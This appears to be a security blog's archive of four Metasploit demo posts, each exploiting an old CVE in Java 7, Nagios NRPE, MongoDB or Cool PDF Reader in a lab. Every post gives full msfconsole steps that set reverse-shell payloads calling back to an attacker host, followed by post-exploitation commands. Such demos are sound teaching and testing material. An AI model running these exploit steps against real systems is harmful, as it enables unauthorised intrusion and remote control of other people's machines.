Category Archives: Metasploit

All my posts regarding Metasploit framework, auxiliaries, plugins and exploits.

CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo

Exploits, Metasploit, , , , ,

Timeline :

Vulnerability discovered and reported to vendor by Jeroen Frijters
Vulnerability corrected in April CPU the 2013-04-16
Vulnerability publicly disclosed by Jeroen Frijters the 2013-04-17
Metasploit PoC provided the 2013-04-20

PoC provided by :

Jeroen Frijters
juan vazquez

Reference(s) :

Oracle Java April 2013 CPU
CVE-2013-2423
OSVDB-92348
BID-59162

Affected version(s) :

JDK and JRE 7 Update 17 and earlier

Tested on Windows XP Pro SP3 with :

JDK and JRE 7 Update 17

Description :

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

Commands :

use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

CVE-2013-1362 Nagios Remote Plugin Executor Arbitrary Command Execution Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered and reported to vendor by Rudolph Pereira
Vulnerability patched by vendor the 2012-12-21
Vulnerability publicly disclosed by Rudolph Pereira the 2013-02-21
Metasploit PoC provided the 2013-03-19

PoC provided by :

Rudolph Pereira
jwpari

Reference(s) :

CVE-2013-1362
OSVDB-90582
BID-58142

Affected version(s) :

Nagios Remote Plugin Executor (NRPE) prior to 2.14

Tested on Ubuntu 12.10 x86 with :

Nagios Remote Plugin Executor (NRPE) 2.13

Description :

The Nagios Remote Plugin Executor (NRPE) is installed to allow a central Nagios server to actively poll information from the hosts it monitors. NRPE has a configuration option dont_blame_nrpe which enables command-line arguments to be provided remote plugins. When this option is enabled, even when NRPE makes an effort to sanitize arguments to prevent command execution, it is possible to execute arbitrary commands.

Commands :

use exploit/linux/misc/nagios_nrpe_arguments
set RHOST 192.168.178.54
set PAYLOAD cmd/unix/reverse_perl
set LHOST 192.168.178.36
exploit

id
uname -a
ifconfig

CVE-2013-1892 MongoDB nativeHelper.apply Remote Code Execution Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered and reported to vendor by agix around 2013-03-01
Vulnerability publicly disclosed by agix the 2013-03-24
Metasploit PoC provided the 2013-03-27

PoC provided by :

agix

Reference(s) :

CVE-2013-1892
OSVDB-91632
BID-58695

Affected version(s) :

MongoDB 2.2.3 and previous

Tested on Ubuntu 10.04 x86 with :

MongoDB 2.2.3

Description :

This module exploits a the nativeHelper feature from spiderMonkey which allows to control execution by calling it with specially crafted arguments. This module has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.

Commands :

use exploit/linux/misc/mongod_native_helper
set RHOST 192.168.178.53
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

sysinfo
getuid

CVE-2012-4914 Cool PDF Image Stream Buffer Overflow Metasploit Demo

Exploits, Metasploit, ,

Timeline :

Vulnerability discovered and reported to Secunia by Francis Provencher the 2012-12-19
Vulnerability publicly disclosed by Francis Provencher the 2013-01-18
Metasploit PoC provided the 2013-03-17

PoC provided by :

Francis Provencher
Chris Gabriel
juan vazquez

Reference(s) :

CVE-2012-4914
OSVDB-89349

Affected version(s) :

Cool PDF Reader equal or prior to version 3.0.2.256

Tested on Windows XP Pro SP3 with :

Cool PDF Reader 3.0.2.256

Description :

This module exploits a stack buffer overflow in Cool PDF Reader equal or prior to version 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that contains a specially crafted image stream. This module has been tested successfully on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.

Commands :

use exploit/windows/fileformat/coolpdf_image_stream_bof
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit -j

sysinfo
getuid